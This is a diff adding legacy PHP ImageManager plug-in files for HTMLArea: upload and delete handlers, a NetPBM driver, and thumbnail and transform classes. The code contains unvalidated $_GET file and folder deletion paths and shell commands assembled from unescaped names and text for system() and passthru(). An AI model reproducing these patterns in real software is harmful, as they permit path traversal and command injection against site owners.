+ Return Files::makeFile($url_path,$thumbnail);
+ }
+ else //should this ever happen?
+ {
+ //error_log('ImageManager: Error in creating thumbnail url');
+ }
+
+ }
+ }
+
+ /**
+ * Check if the given path is part of the subdirectories
+ * under the base_dir.
+ * @param string $path the relative path to be checked
+ * @return boolean true if the path exists, false otherwise
+ */
+ function validRelativePath($path)
+ {
+ $dirs = $this->getDirs();
+ if($path == '/')
+ Return true;
+ //check the path given in the url against the
+ //list of paths in the system.
+ for($i = 0; $i < count($dirs); $i++)
+ {
+ $key = key($dirs);
+ //we found the path
+ if($key == $path)
+ Return true;
+
+ next($dirs);
+ }
+ Return false;
+ }
+
+ /**
+ * Process uploaded files, assumes the file is in
+ * $_FILES['upload'] and $_POST['dir'] is set.
+ * The dir must be relative to the base_dir and exists.
+ * If 'validate_images' is set to true, only file with
+ * image dimensions will be accepted.
+ * @return null
+ */
+ function processUploads()
+ {
+ if($this->isValidBase() == false)
+ return;
+
+ $relative = null;
+
+ if(isset($_POST['dir']))
+ $relative = rawurldecode($_POST['dir']);
+ else
+ return;
+
+ //check for the file, and must have valid relative path
+ if(isset($_FILES['upload']) && $this->validRelativePath($relative))
+ {
+ $this->_processFiles($relative, $_FILES['upload']);
+ }
+ }
+
+ /**
+ * Process upload files. The file must be an
+ * uploaded file. If 'validate_images' is set to
+ * true, only images will be processed. Any duplicate
+ * file will be renamed. See Files::copyFile for details
+ * on renaming.
+ * @param string $relative the relative path where the file
+ * should be copied to.
+ * @param array $file the uploaded file from $_FILES
+ * @return boolean true if the file was processed successfully,
+ * false otherwise
+ */
+ function _processFiles($relative, $file)
+ {
+
+ if($file['error']!=0)
+ {
+ Return false;
+ }
+
+ if(!is_file($file['tmp_name']))
+ {
+ Return false;
+ }
+
+ if(!is_uploaded_file($file['tmp_name']))
+ {
+ Files::delFile($file['tmp_name']);
+ Return false;
+ }
+
+
+ if($this->config['validate_images'] == true)
+ {
+ $imgInfo = @getImageSize($file['tmp_name']);
+ if(!is_array($imgInfo))
+ {
+ Files::delFile($file['tmp_name']);
+ Return false;
+ }
+ }
+
+ //now copy the file
+ $path = Files::makePath($this->getBaseDir(),$relative);
+ $result = Files::copyFile($file['tmp_name'], $path, $file['name']);
+
+ //no copy error
+ if(!is_int($result))
+ {
+ Files::delFile($file['tmp_name']);
+ Return true;
+ }
+
+ //delete tmp files.
+ Files::delFile($file['tmp_name']);
+ Return false;
+ }
+
+ /**
+ * Get the URL of the relative file.
+ * basically appends the relative file to the
+ * base_url given in config.inc.php
+ * @param string $relative a file the relative to the base_dir
+ * @return string the URL of the relative file.
+ */
+ function getFileURL($relative)
+ {
+ Return Files::makeFile($this->getBaseURL(),$relative);
+ }
+
+ /**
+ * Get the fullpath to a relative file.
+ * @param string $relative the relative file.
+ * @return string the full path, .ie. the base_dir + relative.
+ */
+ function getFullPath($relative)
+ {
+ Return Files::makeFile($this->getBaseDir(),$relative);;
+ }
+
+ /**
+ * Get the default thumbnail.
+ * @return string default thumbnail, empty string if
+ * the thumbnail doesn't exist.
+ */
+ function getDefaultThumb()
+ {
+ if(is_file($this->config['default_thumbnail']))
+ Return $this->config['default_thumbnail'];
+ else
+ Return '';
+ }
+
+
+ /**
+ * Get the thumbnail url to be displayed.
+ * If the thumbnail exists, and it is up-to-date
+ * the thumbnail url will be returns. If the
+ * file is not an image, a default image will be returned.
+ * If it is an image file, and no thumbnail exists or
+ * the thumbnail is out-of-date (i.e. the thumbnail
+ * modified time is less than the original file)
+ * then a thumbs.php?img=filename.jpg is returned.
+ * The thumbs.php url will generate a new thumbnail
+ * on the fly. If the image is less than the dimensions
+ * of the thumbnails, the image will be display instead.
+ * @param string $relative the relative image file.
+ * @return string the url of the thumbnail, be it
+ * actually thumbnail or a script to generate the
+ * thumbnail on the fly.
+ */
+ function getThumbnail($relative)
+ {
+ $fullpath = Files::makeFile($this->getBaseDir(),$relative);
+
+ //not a file???
+ if(!is_file($fullpath))
+ Return $this->getDefaultThumb();
+
+ $imgInfo = @getImageSize($fullpath);
+
+ //not an image
+ if(!is_array($imgInfo))
+ Return $this->getDefaultThumb();
+
+ //the original image is smaller than thumbnails,
+ //so just return the url to the original image.
+ if ($imgInfo[0] <= $this->config['thumbnail_width']
+ && $imgInfo[1] <= $this->config['thumbnail_height'])
+ Return $this->getFileURL($relative);
+
+ $thumbnail = $this->getThumbName($fullpath);
+
+ //check for thumbnails, if exists and
+ // it is up-to-date, return the thumbnail url
+ if(is_file($thumbnail))
+ {
+ if(filemtime($thumbnail) >= filemtime($fullpath))
+ Return $this->getThumbURL($relative);
+ }
+
+ //well, no thumbnail was found, so ask the thumbs.php
+ //to generate the thumbnail on the fly.
+ Return 'thumbs.php?img='.rawurlencode($relative);
+ }
+
+ /**
+ * Delete and specified files.
+ * @return boolean true if delete, false otherwise
+ */
+ function deleteFiles()
+ {
+ if(isset($_GET['delf']))
+ $this->_delFile(rawurldecode($_GET['delf']));
+ }
+
+ /**
+ * Delete and specified directories.
+ * @return boolean true if delete, false otherwise
+ */
+ function deleteDirs()
+ {
+ if(isset($_GET['deld']))
+ return $this->_delDir(rawurldecode($_GET['deld']));
+ else
+ Return false;
+ }
+
+ /**
+ * Delete the relative file, and any thumbnails.
+ * @param string $relative the relative file.
+ * @return boolean true if deleted, false otherwise.
+ */
+ function _delFile($relative)
+ {
+ $fullpath = Files::makeFile($this->getBaseDir(),$relative);
+
+ //check that the file is an image
+ if($this->config['validate_images'] == true)
+ {
+ if(!is_array($this->getImageInfo($fullpath)))
+ return false; //hmmm not an Image!!???
+ }
+
+ $thumbnail = $this->getThumbName($fullpath);
+
+ if(Files::delFile($fullpath))
+ Return Files::delFile($thumbnail);
+ else
+ Return false;
+ }
+
+ /**
+ * Delete directories recursively.
+ * @param string $relative the relative path to be deleted.
+ * @return boolean true if deleted, false otherwise.
+ */
+ function _delDir($relative)
+ {
+ $fullpath = Files::makePath($this->getBaseDir(),$relative);
+ if($this->countFiles($fullpath) <= 0)
+ return Files::delFolder($fullpath,true); //delete recursively.
+ else
+ Return false;
+ }
+
+ /**
+ * Create new directories.
+ * If in safe_mode, nothing happens.
+ * @return boolean true if created, false otherwise.
+ */
+ function processNewDir()
+ {
+ if($this->config['safe_mode'] == true)
+ Return false;
+
+ if(isset($_GET['newDir']) && isset($_GET['dir']))
+ {
+ $newDir = rawurldecode($_GET['newDir']);
+ $dir = rawurldecode($_GET['dir']);
+ $path = Files::makePath($this->getBaseDir(),$dir);
+ $fullpath = Files::makePath($path, Files::escape($newDir));
+ if(is_dir($fullpath))
+ Return false;
+
+ Return Files::createFolder($fullpath);
+ }
+ }
+}
+
+?>
\ No newline at end of file
--- /dev/null
+<?php
+/***********************************************************************
+** Title.........: NetPBM Driver
+** Version.......: 1.0
+** Author........: Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......: NetPBM.php
+** Last changed..: 30 Aug 2003
+** Notes.........: Orginal is from PEAR
+**/
+
+// +----------------------------------------------------------------------+
+// | PHP Version 4 |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license, |
+// | that is bundled with this package in the file LICENSE, and is |
+// | available at through the world-wide-web at |
+// | http://www.php.net/license/2_02.txt. |
+// | If you did not receive a copy of the PHP license and are unable to |
+// | obtain it through the world-wide-web, please send a note to |
+// | license@php.net so we can mail you a copy immediately. |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk> |
+// +----------------------------------------------------------------------+
+//
+// $Id: NetPBM.php,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+//
+// Image Transformation interface using command line NetPBM
+
+require_once "Transform.php";
+
+Class Image_Transform_Driver_NetPBM extends Image_Transform
+{
+
+ /**
+ * associative array commands to be executed
+ * @var array
+ */
+ var $command = array();
+
+ /**
+ * Class Constructor
+ */
+ function Image_Transform_Driver_NetPBM()
+ {
+ $this->uid = md5($_SERVER['REMOTE_ADDR']);
+
+ return true;
+ } // End function Image_NetPBM
+
+ /**
+ * Load image
+ *
+ * @param string filename
+ *
+ * @return mixed none or a PEAR error object on error
+ * @see PEAR::isError()
+ */
+ function load($image)
+ {
+ //echo $image;
+ $this->image = $image;
+ $this->_get_image_details($image);
+ } // End load
+
+ /**
+ * Resizes the image
+ *
+ * @return none
+ * @see PEAR::isError()
+ */
+ function _resize($new_x, $new_y)
+ {
+ // there's no technical reason why resize can't be called multiple
+ // times...it's just silly to do so
+
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH .
+ "pnmscale -width $new_x -height $new_y";
+
+ $this->_set_new_x($new_x);
+ $this->_set_new_y($new_y);
+ } // End resize
+
+ /**
+ * Crop the image
+ *
+ * @param int $crop_x left column of the image
+ * @param int $crop_y top row of the image
+ * @param int $crop_width new cropped image width
+ * @param int $crop_height new cropped image height
+ */
+ function crop($crop_x, $crop_y, $crop_width, $crop_height)
+ {
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH .
+ "pnmcut -left $crop_x -top $crop_y -width $crop_width -height $crop_height";
+ }
+
+ /**
+ * Rotates the image
+ *
+ * @param int $angle The angle to rotate the image through
+ */
+ function rotate($angle)
+ {
+ $angle = -1*floatval($angle);
+
+ if($angle > 90)
+ {
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmrotate -noantialias 90";
+ $this->rotate(-1*($angle-90));
+ }
+ else if ($angle < -90)
+ {
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmrotate -noantialias -90";
+ $this->rotate(-1*($angle+90));
+ }
+ else
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmrotate -noantialias $angle";
+ } // End rotate
+
+ /**
+ * Flip the image horizontally or vertically
+ *
+ * @param boolean $horizontal true if horizontal flip, vertical otherwise
+ */
+ function flip($horizontal)
+ {
+ if($horizontal)
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmflip -lr";
+ else
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmflip -tb";
+ }
+
+ /**
+ * Adjust the image gamma
+ *
+ * @param float $outputgamma
+ *
+ * @return none
+ */
+ function gamma($outputgamma = 1.0) {
+ $this->command[13] = IMAGE_TRANSFORM_LIB_PATH . "pnmgamma $outputgamma";
+ }
+
+ /**
+ * adds text to an image
+ *
+ * @param array options Array contains options
+ * array(
+ * 'text' // The string to draw
+ * 'x' // Horizontal position
+ * 'y' // Vertical Position
+ * 'Color' // Font color
+ * 'font' // Font to be used
+ * 'size' // Size of the fonts in pixel
+ * 'resize_first' // Tell if the image has to be resized
+ * // before drawing the text
+ * )
+ *
+ * @return none
+ */
+ function addText($params)
+ {
+ $default_params = array('text' => 'This is Text',
+ 'x' => 10,
+ 'y' => 20,
+ 'color' => 'red',
+ 'font' => 'Arial.ttf',
+ 'size' => '12',
+ 'angle' => 0,
+ 'resize_first' => false);
+ // we ignore 'resize_first' since the more logical approach would be
+ // for the user to just call $this->_resize() _first_ ;)
+ extract(array_merge($default_params, $params));
+ $this->command[] = "ppmlabel -angle $angle -colour $color -size "
+ ."$size -x $x -y ".$y+$size." -text \"$text\"";
+ } // End addText
+
+ function _postProcess($type, $quality, $save_type)
+ {
+ $type = is_null($type) || $type==''? $this->type : $type;
+ $save_type = is_null($save_type) || $save_type==''? $this->type : $save_type;
+ //echo "TYPE:". $this->type;
+ array_unshift($this->command, IMAGE_TRANSFORM_LIB_PATH
+ . $type.'topnm '. $this->image);
+ $arg = '';
+ switch(strtolower($save_type)){
+ case 'gif':
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "ppmquant 256";
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "ppmto$save_type";
+ break;
+ case 'jpg':
+ case 'jpeg':
+ $arg = "--quality=$quality";
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "ppmto$save_type $arg";
+ break;
+ default:
+ $this->command[] = IMAGE_TRANSFORM_LIB_PATH . "pnmto$save_type $arg";
+ break;
+ } // switch
+ return implode('|', $this->command);
+ }
+
+ /**
+ * Save the image file
+ *
+ * @param $filename string the name of the file to write to
+ * @param string $type (jpeg,png...);
+ * @param int $quality 75
+ * @return none
+ */
+ function save($filename, $type=null, $quality = 85)
+ {
+ $cmd = $this->_postProcess('', $quality, $type) . ">$filename";
+
+ //if we have windows server
+ if(isset($_ENV['OS']) && eregi('window',$_ENV['OS']))
+ $cmd = ereg_replace('/','\\',$cmd);
+ //echo $cmd."##";
+ $output = system($cmd);
+ error_log('NETPBM: '.$cmd);
+ //error_log($output);
+ $this->command = array();
+ } // End save
+
+
+ /**
+ * Display image without saving and lose changes
+ *
+ * @param string $type (jpeg,png...);
+ * @param int $quality 75
+ * @return none
+ */
+ function display($type = null, $quality = 75)
+ {
+ header('Content-type: image/' . $type);
+ $cmd = $this->_postProcess($type, $quality);
+
+ passthru($cmd);
+ $this->command = array();
+ }
+
+ /**
+ * Destroy image handle
+ *
+ * @return none
+ */
+ function free()
+ {
+ // there is no image handle here
+ return true;
+ }
+
+
+} // End class NetPBM
+?>
--- /dev/null
+<?
+/**
+ * Create thumbnails.
+ * @author $Author: cscott $
+ * @version $Id: Thumbnail.php,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+ * @package ImageManager
+ */
+
+
+require_once('Transform.php');
+
+/**
+ * Thumbnail creation
+ * @author $Author: cscott $
+ * @version $Id: Thumbnail.php,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+ * @package ImageManager
+ * @subpackage Images
+ */
+class Thumbnail
+{
+ /**
+ * Graphics driver, GD, NetPBM or ImageMagick.
+ */
+ var $driver;
+
+ /**
+ * Thumbnail default width.
+ */
+ var $width = 96;
+
+ /**
+ * Thumbnail default height.
+ */
+ var $height = 96;
+
+ /**
+ * Thumbnail default JPEG quality.
+ */
+ var $quality = 85;
+
+ /**
+ * Thumbnail is proportional
+ */
+ var $proportional = true;
+
+ /**
+ * Default image type is JPEG.
+ */
+ var $type = 'jpeg';
+
+ /**
+ * Create a new Thumbnail instance.
+ * @param int $width thumbnail width
+ * @param int $height thumbnail height
+ */
+ function Thumbnail($width=96, $height=96)
+ {
+ $this->driver = Image_Transform::factory(IMAGE_CLASS);
+ $this->width = $width;
+ $this->height = $height;
+ }
+
+ /**
+ * Create a thumbnail.
+ * @param string $file the image for the thumbnail
+ * @param string $thumbnail if not null, the thumbnail will be saved
+ * as this parameter value.
+ * @return boolean true if thumbnail is created, false otherwise
+ */
+ function createThumbnail($file, $thumbnail=null)
+ {
+ if(!is_file($file))
+ Return false;
+
+ //error_log('Creating Thumbs: '.$file);
+
+ $this->driver->load($file);
+
+ if($this->proportional)
+ {
+ $width = $this->driver->img_x;
+ $height = $this->driver->img_y;
+
+ if ($width > $height)
+ $this->height = intval($this->width/$width*$height);
+ else if ($height > $width)
+ $this->width = intval($this->height/$height*$width);
+ }
+
+ $this->driver->resize($this->width, $this->height);
+
+ if(is_null($thumbnail))
+ $this->save($file);
+ else
+ $this->save($thumbnail);
+
+
+ $this->free();
+
+ if(is_file($thumbnail))
+ Return true;
+ else
+ Return false;
+ }
+
+ /**
+ * Save the thumbnail file.
+ * @param string $file file name to be saved as.
+ */
+ function save($file)
+ {
+ $this->driver->save($file);
+ }
+
+ /**
+ * Free up the graphic driver resources.
+ */
+ function free()
+ {
+ $this->driver->free();
+ }
+}
+
+
+?>
\ No newline at end of file
--- /dev/null
+<?php
+/***********************************************************************
+** Title.........: Image Transformation Interface
+** Version.......: 1.0
+** Author........: Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......: Transform.php
+** Last changed..: 30 Aug 2003
+** Notes.........: Orginal is from PEAR
+
+ Added a few extra,
+ - create unique filename in a particular directory,
+ used for temp image files.
+ - added cropping to GD, NetPBM, ImageMagick
+**/
+
+// +----------------------------------------------------------------------+
+// | PHP Version 4 |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license, |
+// | that is bundled with this package in the file LICENSE, and is |
+// | available at through the world-wide-web at |
+// | http://www.php.net/license/2_02.txt. |
+// | If you did not receive a copy of the PHP license and are unable to |
+// | obtain it through the world-wide-web, please send a note to |
+// | license@php.net so we can mail you a copy immediately. |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk> |
+// | Alan Knowles <alan@akbkhome.com> |
+// | Vincent Oostindie <vincent@sunlight.tmfweb.nl> |
+// +----------------------------------------------------------------------+
+//
+// $Id: Transform.php,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+//
+// Image Transformation interface
+//
+
+
+/**
+ * The main "Image_Resize" class is a container and base class which
+ * provides the static methods for creating Image objects as well as
+ * some utility functions (maths) common to all parts of Image Resize.
+ *
+ * The object model of DB is as follows (indentation means inheritance):
+ *
+ * Image_Resize The base for each Image implementation. Provides default
+ * | implementations (in OO lingo virtual methods) for
+ * | the actual Image implementations as well as a bunch of
+ * | maths methods.
+ * |
+ * +-Image_GD The Image implementation for the PHP GD extension . Inherits
+ * Image_Resize
+ * When calling DB::setup for GD images the object returned is an
+ * instance of this class.
+ *
+ * @package Image Resize
+ * @version 1.00
+ * @author Peter Bowyer <peter@mapledesign.co.uk>
+ * @since PHP 4.0
+ */
+Class Image_Transform
+{
+ /**
+ * Name of the image file
+ * @var string
+ */
+ var $image = '';
+ /**
+ * Type of the image file (eg. jpg, gif png ...)
+ * @var string
+ */
+ var $type = '';
+ /**
+ * Original image width in x direction
+ * @var int
+ */
+ var $img_x = '';
+ /**
+ * Original image width in y direction
+ * @var int
+ */
+ var $img_y = '';
+ /**
+ * New image width in x direction
+ * @var int
+ */
+ var $new_x = '';
+ /**
+ * New image width in y direction
+ * @var int
+ */
+ var $new_y = '';
+ /**
+ * Path the the library used
+ * e.g. /usr/local/ImageMagick/bin/ or
+ * /usr/local/netpbm/
+ */
+ var $lib_path = '';
+ /**
+ * Flag to warn if image has been resized more than once before displaying
+ * or saving.
+ */
+ var $resized = false;
+
+
+ var $uid = '';
+
+ var $lapse_time =900; //15 mins
+
+ /**
+ * Create a new Image_resize object
+ *
+ * @param string $driver name of driver class to initialize
+ *
+ * @return mixed a newly created Image_Transform object, or a PEAR
+ * error object on error
+ *
+ * @see PEAR::isError()
+ * @see Image_Transform::setOption()
+ */
+ function &factory($driver)
+ {
+ if ('' == $driver) {
+ die("No image library specified... aborting. You must call ::factory() with one parameter, the library to load.");
+
+ }
+ $this->uid = md5($_SERVER['REMOTE_ADDR']);
+
+ include_once "$driver.php";
+
+ $classname = "Image_Transform_Driver_{$driver}";
+ $obj =& new $classname;
+ return $obj;
+ }
+
+
+ /**
+ * Resize the Image in the X and/or Y direction
+ * If either is 0 it will be scaled proportionally
+ *
+ * @access public
+ *
+ * @param mixed $new_x (0, number, percentage 10% or 0.1)
+ * @param mixed $new_y (0, number, percentage 10% or 0.1)
+ *
+ * @return mixed none or PEAR_error
+ */
+ function resize($new_x = 0, $new_y = 0)
+ {
+ // 0 means keep original size
+ $new_x = (0 == $new_x) ? $this->img_x : $this->_parse_size($new_x, $this->img_x);
+ $new_y = (0 == $new_y) ? $this->img_y : $this->_parse_size($new_y, $this->img_y);
+ // Now do the library specific resizing.
+ return $this->_resize($new_x, $new_y);
+ } // End resize
+
+
+ /**
+ * Scale the image to have the max x dimension specified.
+ *
+ * @param int $new_x Size to scale X-dimension to
+ * @return none
+ */
+ function scaleMaxX($new_x)
+ {
+ $new_y = round(($new_x / $this->img_x) * $this->img_y, 0);
+ return $this->_resize($new_x, $new_y);
+ } // End resizeX
+
+ /**
+ * Scale the image to have the max y dimension specified.
+ *
+ * @access public
+ * @param int $new_y Size to scale Y-dimension to
+ * @return none
+ */
+ function scaleMaxY($new_y)
+ {
+ $new_x = round(($new_y / $this->img_y) * $this->img_x, 0);
+ return $this->_resize($new_x, $new_y);
+ } // End resizeY
+
+ /**
+ * Scale Image to a maximum or percentage
+ *
+ * @access public
+ * @param mixed (number, percentage 10% or 0.1)
+ * @return mixed none or PEAR_error
+ */
+ function scale($size)
+ {
+ if ((strlen($size) > 1) && (substr($size,-1) == '%')) {
+ return $this->scaleByPercentage(substr($size, 0, -1));
+ } elseif ($size < 1) {
+ return $this->scaleByFactor($size);
+ } else {
+ return $this->scaleByLength($size);
+ }
+ } // End scale
+
+ /**
+ * Scales an image to a percentage of its original size. For example, if
+ * my image was 640x480 and I called scaleByPercentage(10) then the image
+ * would be resized to 64x48
+ *
+ * @access public
+ * @param int $size Percentage of original size to scale to
+ * @return none
+ */
+ function scaleByPercentage($size)
+ {
+ return $this->scaleByFactor($size / 100);
+ } // End scaleByPercentage
+
+ /**
+ * Scales an image to a factor of its original size. For example, if
+ * my image was 640x480 and I called scaleByFactor(0.5) then the image
+ * would be resized to 320x240.
+ *
+ * @access public
+ * @param float $size Factor of original size to scale to
+ * @return none
+ */
+ function scaleByFactor($size)
+ {
+ $new_x = round($size * $this->img_x, 0);
+ $new_y = round($size * $this->img_y, 0);
+ return $this->_resize($new_x, $new_y);
+ } // End scaleByFactor
+
+ /**
+ * Scales an image so that the longest side has this dimension.
+ *
+ * @access public
+ * @param int $size Max dimension in pixels
+ * @return none
+ */
+ function scaleByLength($size)
+ {
+ if ($this->img_x >= $this->img_y) {
+ $new_x = $size;
+ $new_y = round(($new_x / $this->img_x) * $this->img_y, 0);
+ } else {
+ $new_y = $size;
+ $new_x = round(($new_y / $this->img_y) * $this->img_x, 0);
+ }
+ return $this->_resize($new_x, $new_y);
+ } // End scaleByLength
+
+
+ /**
+ *
+ * @access public
+ * @return void
+ */
+ function _get_image_details($image)
+ {
+ //echo $image;
+ $data = @GetImageSize($image);
+ #1 = GIF, 2 = JPG, 3 = PNG, 4 = SWF, 5 = PSD, 6 = BMP, 7 = TIFF(intel byte order), 8 = TIFF(motorola byte order,
+ # 9 = JPC, 10 = JP2, 11 = JPX, 12 = JB2, 13 = SWC
+ if (is_array($data)){
+ switch($data[2]){
+ case 1:
+ $type = 'gif';
+ break;
+ case 2:
+ $type = 'jpeg';
+ break;
+ case 3:
+ $type = 'png';
+ break;
+ case 4:
+ $type = 'swf';
+ break;
+ case 5:
+ $type = 'psd';
+ case 6:
+ $type = 'bmp';
+ case 7:
+ case 8:
+ $type = 'tiff';
+ default:
+ echo("We do not recognize this image format");
+ }
+ $this->img_x = $data[0];
+ $this->img_y = $data[1];
+ $this->type = $type;
+
+ return true;
+ } else {
+ echo("Cannot fetch image or images details.");
+ return null;
+ }
+ /*
+ $output = array(
+ 'width' => $data[0],
+ 'height' => $data[1],
+ 'type' => $type
+ );
+ return $output;
+ */
+ }
+
+
+ /**
+ * Parse input and convert
+ * If either is 0 it will be scaled proportionally
+ *
+ * @access private
+ *
+ * @param mixed $new_size (0, number, percentage 10% or 0.1)
+ * @param int $old_size
+ *
+ * @return mixed none or PEAR_error
+ */
+ function _parse_size($new_size, $old_size)
+ {
+ if ('%' == $new_size) {
+ $new_size = str_replace('%','',$new_size);
+ $new_size = $new_size / 100;
+ }
+ if ($new_size > 1) {
+ return (int) $new_size;
+ } elseif ($new_size == 0) {
+ return (int) $old_size;
+ } else {
+ return (int) round($new_size * $old_size, 0);
+ }
+ }
+
+
+ function uniqueStr()
+ {
+ return substr(md5(microtime()),0,6);
+ }
+
+ //delete old tmp files, and allow only 1 file per remote host.
+ function cleanUp($id, $dir)
+ {
+ $d = dir($dir);
+ $id_length = strlen($id);
+
+ while (false !== ($entry = $d->read())) {
+ if (is_file($dir.'/'.$entry) && substr($entry,0,1) == '.' && !ereg($entry, $this->image))
+ {
+ //echo filemtime($this->directory.'/'.$entry)."<br>";
+ //echo time();
+
+ if (filemtime($dir.'/'.$entry) + $this->lapse_time < time())
+ unlink($dir.'/'.$entry);
+
+ if (substr($entry, 1, $id_length) == $id)
+ {
+ if (is_file($dir.'/'.$entry))
+ unlink($dir.'/'.$entry);
+ }
+ }
+ }
+ $d->close();
+ }
+
+
+ function createUnique($dir)
+ {
+ $unique_str = '.'.$this->uid.'_'.$this->uniqueStr().".".$this->type;
+
+ //make sure the the unique temp file does not exists
+ while (file_exists($dir.$unique_str))
+ {
+ $unique_str = '.'.$this->uid.'_'.$this->uniqueStr().".".$this->type;
+ }
+
+ $this->cleanUp($this->uid, $dir);
+
+ return $unique_str;
+ }
+
+
+ /**
+ * Set the image width
+ * @param int $size dimension to set
+ * @since 29/05/02 13:36:31
+ * @return
+ */
+ function _set_img_x($size)
+ {
+ $this->img_x = $size;
+ }
+
+ /**
+ * Set the image height
+ * @param int $size dimension to set
+ * @since 29/05/02 13:36:31
+ * @return
+ */
+ function _set_img_y($size)
+ {
+ $this->img_y = $size;
+ }
+
+ /**
+ * Set the image width
+ * @param int $size dimension to set
+ * @since 29/05/02 13:36:31
+ * @return
+ */
+ function _set_new_x($size)
+ {
+ $this->new_x = $size;
+ }
+
+ /**
+ * Set the image height
+ * @param int $size dimension to set
+ * @since 29/05/02 13:36:31
+ * @return
+ */
+ function _set_new_y($size)
+ {
+ $this->new_y = $size;
+ }
+
+ /**
+ * Get the type of the image being manipulated
+ *
+ * @return string $this->type the image type
+ */
+ function getImageType()
+ {
+ return $this->type;
+ }
+
+ /**
+ *
+ * @access public
+ * @return string web-safe image type
+ */
+ function getWebSafeFormat()
+ {
+ switch($this->type){
+ case 'gif':
+ case 'png':
+ return 'png';
+ break;
+ default:
+ return 'jpeg';
+ } // switch
+ }
+
+ /**
+ * Place holder for the real resize method
+ * used by extended methods to do the resizing
+ *
+ * @access private
+ * @return PEAR_error
+ */
+ function _resize() {
+ return null; //PEAR::raiseError("No Resize method exists", true);
+ }
+
+ /**
+ * Place holder for the real load method
+ * used by extended methods to do the resizing
+ *
+ * @access public
+ * @return PEAR_error
+ */
+ function load($filename) {
+ return null; //PEAR::raiseError("No Load method exists", true);
+ }
+
+ /**
+ * Place holder for the real display method
+ * used by extended methods to do the resizing
+ *
+ * @access public
+ * @param string filename
+ * @return PEAR_error
+ */
+ function display($type, $quality) {
+ return null; //PEAR::raiseError("No Display method exists", true);
+ }
+
+ /**
+ * Place holder for the real save method
+ * used by extended methods to do the resizing
+ *
+ * @access public
+ * @param string filename
+ * @return PEAR_error
+ */
+ function save($filename, $type, $quality) {
+ return null; //PEAR::raiseError("No Save method exists", true);
+ }
+
+ /**
+ * Place holder for the real free method
+ * used by extended methods to do the resizing
+ *
+ * @access public
+ * @return PEAR_error
+ */
+ function free() {
+ return null; //PEAR::raiseError("No Free method exists", true);
+ }
+
+ /**
+ * Reverse of rgb2colorname.
+ *
+ * @access public
+ * @return PEAR_error
+ *
+ * @see rgb2colorname
+ */
+ function colorhex2colorarray($colorhex) {
+ $r = hexdec(substr($colorhex, 1, 2));
+ $g = hexdec(substr($colorhex, 3, 2));
+ $b = hexdec(substr($colorhex, 4, 2));
+ return array($r,$g,$b);
+ }
+
+ /**
+ * Reverse of rgb2colorname.
+ *
+ * @access public
+ * @return PEAR_error
+ *
+ * @see rgb2colorname
+ */
+ function colorarray2colorhex($color) {
+ $color = '#'.dechex($color[0]).dechex($color[1]).dechex($color[2]);
+ return strlen($color)>6?false:$color;
+ }
+
+
+ /* Methods to add to the driver classes in the future */
+ function addText()
+ {
+ return null; //PEAR::raiseError("No addText method exists", true);
+ }
+
+ function addDropShadow()
+ {
+ return null; //PEAR::raiseError("No AddDropShadow method exists", true);
+ }
+
+ function addBorder()
+ {
+ return null; //PEAR::raiseError("No addBorder method exists", true);
+ }
+
+ function crop()
+ {
+ return null; //PEAR::raiseError("No crop method exists", true);
+ }
+
+ function flip()
+ {
+ return null;
+ }
+
+ function gamma()
+ {
+ return null; //PEAR::raiseError("No gamma method exists", true);
+ }
+}
+?>
--- /dev/null
+This is a plug-in for HTMLArea 3.0
+
+The PHP ImageManager + Editor provides an interface to
+browser for image files on your web server. The Editor
+allows some basic image manipulations such as, cropping,
+rotation, flip, and scaling.
+
+Further and up-to-date documentation can be found at
+http://www.zhuo.org/htmlarea/docs/index.html
+
+Cheer,
+Wei
\ No newline at end of file
--- /dev/null
+/***********************************************************************
+** Title.........: Online Image Editor Interface
+** Version.......: 1.0
+** Author........: Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......: EditorContents.js
+** Last changed..: 31 Mar 2004
+** Notes.........: Handles most of the interface routines for the ImageEditor.
+*
+* Added: 29 Mar 2004 - Constrainted resizing/scaling
+**/
+
+
+function MM_findObj(n, d) { //v4.01
+ var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
+ d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
+ if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
+ for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
+ if(!x && d.getElementById) x=d.getElementById(n); return x;
+}
+
+var pic_x, pic_y;
+function P7_Snap() { //v2.62 by PVII
+ var x,y,ox,bx,oy,p,tx,a,b,k,d,da,e,el,args=P7_Snap.arguments;a=parseInt(a);
+ for (k=0; k<(args.length-3); k+=4)
+ if ((g=MM_findObj(args[k]))!=null) {
+ el=eval(MM_findObj(args[k+1]));
+ a=parseInt(args[k+2]);b=parseInt(args[k+3]);
+ x=0;y=0;ox=0;oy=0;p="";tx=1;da="document.all['"+args[k]+"']";
+ if(document.getElementById) {
+ d="document.getElementsByName('"+args[k]+"')[0]";
+ if(!eval(d)) {d="document.getElementById('"+args[k]+"')";if(!eval(d)) {d=da;}}
+ }else if(document.all) {d=da;}
+ if (document.all || document.getElementById) {
+ while (tx==1) {p+=".offsetParent";
